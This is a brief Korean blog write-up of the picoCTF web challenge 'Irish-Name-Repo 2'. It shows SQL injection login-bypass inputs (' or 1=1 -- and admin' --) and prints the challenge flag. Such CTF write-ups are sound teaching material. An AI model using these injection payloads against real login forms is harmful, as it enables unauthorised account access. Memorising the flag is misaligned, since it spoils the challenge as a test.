Wargame & CTF/picoCTF
[picoCTF][Web Exploitation]Irish-Name-Repo 2 문제 풀이
seomj
2021. 1. 7. 14:36
문제
풀이
Irish-Name-Repo 1과 구성 동일
첫 번째 시도
Username : ' or 1=1 --
Password : 12
-> 무언가 필터링이 되고 있음
Username에 ', or, =, -- 를 입력하면 로그인이 실패했다는 문구가 뜸
-> 이를 필터링하지 않음
Username에 ' or 를 입력하니 SQL 문구가 뜸
-> ' or 를 필터링함
두 번째 시도
Username : admin' --
Password : 12
picoCTF{m0R3_SQL_plz_aee925db}